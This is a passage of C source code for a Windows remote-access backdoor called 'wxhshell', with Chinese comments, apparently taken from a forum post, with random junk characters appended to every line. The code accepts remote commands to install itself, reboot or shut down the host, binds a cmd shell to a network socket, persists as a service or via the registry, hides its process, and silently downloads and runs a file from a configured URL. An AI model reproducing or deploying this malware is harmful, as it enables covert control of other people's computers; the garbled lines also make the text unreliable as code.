      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9@1n:X  
    break; **P P  
  } 14&|(M  
  // 安装 {GtX:v#  
  case 'i': { j*>]HNo&  
    if(Install()) +.djC3^:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J5a8U&A  
    else <xBL/e %  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +;+G+Tn  
    break; P)VQAM  
    } 2Ys=/mh  
  // 卸载 G;gsDn1t  
  case 'r': { @zGF9O<3,@  
    if(Uninstall()) 2-m@-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f['I4 /o  
    else l&\y]ZV={  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WG,Il/  
    break; W,8Uu1X =  
    } Xg.Lo2s  
  // 显示 wxhshell 所在路径 W. d',4)  
  case 'p': { [fCnq  
    char svExeFile[MAX_PATH]; mBIksts5h  
    strcpy(svExeFile,"\n\r"); 0SD'&   
      strcat(svExeFile,ExeFile); Xf ^_y(?  
        send(wsh,svExeFile,strlen(svExeFile),0); t tr`  
    break; &SIf|IX.  
    } e!Z}aOeE  
  // 重启 M_0f{  
  case 'b': { 8XVRRk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6b*xhu\  
    if(Boot(REBOOT)) `C_qqf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h[! @8  
    else { tIn`L6b  
    closesocket(wsh); CeU=A9  
    ExitThread(0);  9qa/f[G  
    } &y0GdzfQd  
    break; ^vm6JWwN0B  
    } "E<+idoz  
  // 关机 \e'Vsy>q  
  case 'd': { (Jb#'(~a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +Zi+ /9Z(H  
    if(Boot(SHUTDOWN)) )Q9Qo)D T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ 1G wcXr  
    else { L'Iw9RAJ  
    closesocket(wsh); @|h9jx|  
    ExitThread(0); h@JX?LzZS  
    } N_Ezp68Fp  
    break; 7r:&%?2:g  
    } |FFz $'8)  
  // 获取shell BN(=LQ2["  
  case 's': { 1z|bQ,5  
    CmdShell(wsh); xA^E+f:W_  
    closesocket(wsh); lpPPI+|4N  
    ExitThread(0); '<,Dz=  
    break; X<_HQ  
  } eSIG+{;&  
  // 退出 Qu<6X@+5  
  case 'x': { Xz:ha >}C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;\|GU@K{hC  
    CloseIt(wsh); NxA4*_|H9  
    break; 6wT ])84  
    } /\Cf*cJ  
  // 离开 jD<xpD  
  case 'q': { 6 o   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W.s8!KH:  
    closesocket(wsh); F6J]T6 Y  
    WSACleanup(); .[eC w  
    exit(1); ,^n&Q'p3  
    break; 6? lAbW  
        } -vm1xp$  
  } E"[p_ALdC  
  } 4cy,'B  
AEM;ZQU  
  // 提示信息 DXj>u9*%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yQ^,>eh  
} P )oNNY6}  
  } Y(aUB$"  
#Rfc p!  
  return; #|+4`Gf^  
} tf54EIy5Y  
Q "NZE  
// shell模块句柄 f.j<VKF}  
int CmdShell(SOCKET sock) 9%21Q>Y?b  
{ g :B4zlKG  
STARTUPINFO si; }UcdkKq  
ZeroMemory(&si,sizeof(si)); *[i49X&rd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5"G-r._  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nk7=[y#z  
PROCESS_INFORMATION ProcessInfo; u,:hT] ~+  
char cmdline[]="cmd"; GL>YJ%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yx,E5}-  
  return 0; _'G'>X>}WU  
} ,j{tGj_  
EF$ASNh"  
// 自身启动模式 Q3hSWXq'  
int StartFromService(void) ]5@n`;&#.  
{ OpazWcMoo  
typedef struct +VQD'  
{ :Hb`vH3 x  
  DWORD ExitStatus; /? d)01  
  DWORD PebBaseAddress; pdFO!A_t  
  DWORD AffinityMask; |Wa.W0A  
  DWORD BasePriority; 'Qg!ww7O  
  ULONG UniqueProcessId; g - !  
  ULONG InheritedFromUniqueProcessId; *@^@7`W  
}   PROCESS_BASIC_INFORMATION; K:XP;#OsP  
E_'H=QN c  
PROCNTQSIP NtQueryInformationProcess; 7jxx,#I:  
yMyvX_UNI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zICCSF&H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %MGt3)  
2[=3-1c  
  HANDLE             hProcess; "~.4z,ha  
  PROCESS_BASIC_INFORMATION pbi; p<\!{5:   
&N=vs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QEut@L  
  if(NULL == hInst ) return 0; NCT:!&  
hP'4PLK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Tc"J(GWG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7vRp<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wC%qSy'  
y'b*Dk{  
  if (!NtQueryInformationProcess) return 0; 6`6 / 2C$%  
iO Z#}"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i?b9zn  
  if(!hProcess) return 0; b{aB^a:f=L  
04}8x[t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )\D{5j  
2[(~_VJ  
  CloseHandle(hProcess); ?[.8A/:5  
Y+),c14#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C+M]"{Y+  
if(hProcess==NULL) return 0; zx$1.IM"4  
du ~V=%9  
HMODULE hMod; h*40jZ  
char procName[255]; YL!{oHs4  
unsigned long cbNeeded; ' =5B   
sm Ql^ 6a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |,=^P` #%  
~Gh7i>n*  
  CloseHandle(hProcess); 1anh@T.  
479X5Cl  
if(strstr(procName,"services")) return 1; // 以服务启动 M?My+ oT  
2 z#S| $  
  return 0; // 注册表启动 cNwH Y Z'  
} ~@6l7H6{  
}[lP^Qs  
// 主模块 W 2[]m>;  
int StartWxhshell(LPSTR lpCmdLine) k{vbi-^6rf  
{ AWMJ/ E*T  
  SOCKET wsl; n6t@ e^  
BOOL val=TRUE; ?ZGsh7<k  
  int port=0; U$OI]Dd9  
  struct sockaddr_in door;  7 FY2a  
K^@9\cl^  
  if(wscfg.ws_autoins) Install(); @.i#uMWF`  
OE0G*`m  
port=atoi(lpCmdLine); '@@!lV  
$+n6V2^K)7  
if(port<=0) port=wscfg.ws_port; `) cH(Rj  
iSoQ1#MP)2  
  WSADATA data; XKws_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vOz1& |;D  
-8FUR~WJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nb9GrYIS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >"=DN5w ,S  
  door.sin_family = AF_INET; |LbAW /9a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vC@^B)5gb  
  door.sin_port = htons(port);  iKd+AzT  
N8Zz6{rp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mh~}RA"H  
closesocket(wsl); F xm:m  
return 1; ?$)5NQB%  
} RzL(Gnb  
#z%D d{E  
  if(listen(wsl,2) == INVALID_SOCKET) { M.s'~S7y  
closesocket(wsl); 1d FuoX  
return 1; WG6 0  
} [(3s5)O  
  Wxhshell(wsl); A&Aj!#  
  WSACleanup(); 0mUVa=)D  
g;p} -=  
return 0; ARf{hiV6Wt  
eZU9L/w:  
} -j]k^  
jMTM:~0N  
// 以NT服务方式启动 /N_:npbJF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LOi}\O8  
{ wxc#)W  
DWORD   status = 0; I-r+1gty  
  DWORD   specificError = 0xfffffff; wz69Yw7  
OrM1eP"I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 54z.@BJhE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; njX$?V   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r)}U 'iv*%  
  serviceStatus.dwWin32ExitCode     = 0; T#3@r0M  
  serviceStatus.dwServiceSpecificExitCode = 0; 0&]1s  
  serviceStatus.dwCheckPoint       = 0; zM=MFKhi ~  
  serviceStatus.dwWaitHint       = 0; UWKgf? _  
Rb0I7~Z%'d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hF0,{v  
  if (hServiceStatusHandle==0) return; YVDFcN9v  
>god++,o  
status = GetLastError(); _7;:*'>a4  
  if (status!=NO_ERROR) 8vR_WHsL  
{ v '+]T=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %2 zmc%]r  
    serviceStatus.dwCheckPoint       = 0; gHstdp_3  
    serviceStatus.dwWaitHint       = 0; 9ZJ 8QH  
    serviceStatus.dwWin32ExitCode     = status; <OGG(dI  
    serviceStatus.dwServiceSpecificExitCode = specificError; If,p!L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q7XOO3<):  
    return; wTa u.Bo  
  } 6u+aP  
<R@,wzK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kc^,V|Nbq6  
  serviceStatus.dwCheckPoint       = 0; @pYEzizP7  
  serviceStatus.dwWaitHint       = 0; rjK`t_(=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u7[}pf$}  
} 4_=2|2Wz[  
<8^x Mjc  
// 处理NT服务事件,比如:启动、停止 k[ro[E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0Z8"f_GK  
{ E(PBV  
switch(fdwControl) 8\lh'8  
{ ciS,  
case SERVICE_CONTROL_STOP: 6qH0]7maI  
  serviceStatus.dwWin32ExitCode = 0; <R /\nYXz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >UaQ7CRo  
  serviceStatus.dwCheckPoint   = 0; /gZyl|kdy  
  serviceStatus.dwWaitHint     = 0; vNv!fkl  
  { !&rd#ZBn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~pQN#C)CO>  
  } MWh Y&I+  
  return; a^p#M  
case SERVICE_CONTROL_PAUSE: yk`qF'4]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )e,O+w"  
  break; RTm/-6[N  
case SERVICE_CONTROL_CONTINUE: 9dhEQ=K{3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9VnBNuT  
  break; w]0@V}}u$o  
case SERVICE_CONTROL_INTERROGATE: 2aM7zP[Z  
  break; | ]*3En:  
}; RPW46l34  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8#7qHT;cx  
} Tf86CH=)5  
AzOs/q8O  
// 标准应用程序主函数 x)~i`$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hL&$` Q  
{ g F*AS(9  
Oo|PZ_P  
// 获取操作系统版本 4KM-$h,4O  
OsIsNt=GetOsVer(); \#_ymM0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \_ 3>v5k|  
"Wwu Ty|  
  // 从命令行安装 !ajBZ>Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); [k6I#v<&  
4 O!2nP  
  // 下载执行文件 <e2l@@#oy  
if(wscfg.ws_downexe) { .5(YL8d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f"ndLX:'}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4 o*i(W  
} ?*fY$93O  
vk92j?  
if(!OsIsNt) { b6N[t _,  
// 如果时win9x,隐藏进程并且设置为注册表启动 p{g4`o  
HideProc(); ??,[-Oi  
StartWxhshell(lpCmdLine); }Kp!,  
} f+h\RE=BGt  
else ,CfslhO{j  
  if(StartFromService()) I=y7$+7%  
  // 以服务方式启动 ><<>4(eF p  
  StartServiceCtrlDispatcher(DispatchTable); Jb QK$[z"  
else ZZY#.  
  // 普通方式启动 K~TwyB-h  
  StartWxhshell(lpCmdLine); e&}W#  
IfK~~XYG  
return 0; =-h^j  
}
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只看该作者 1 发表于: 2006-10-10
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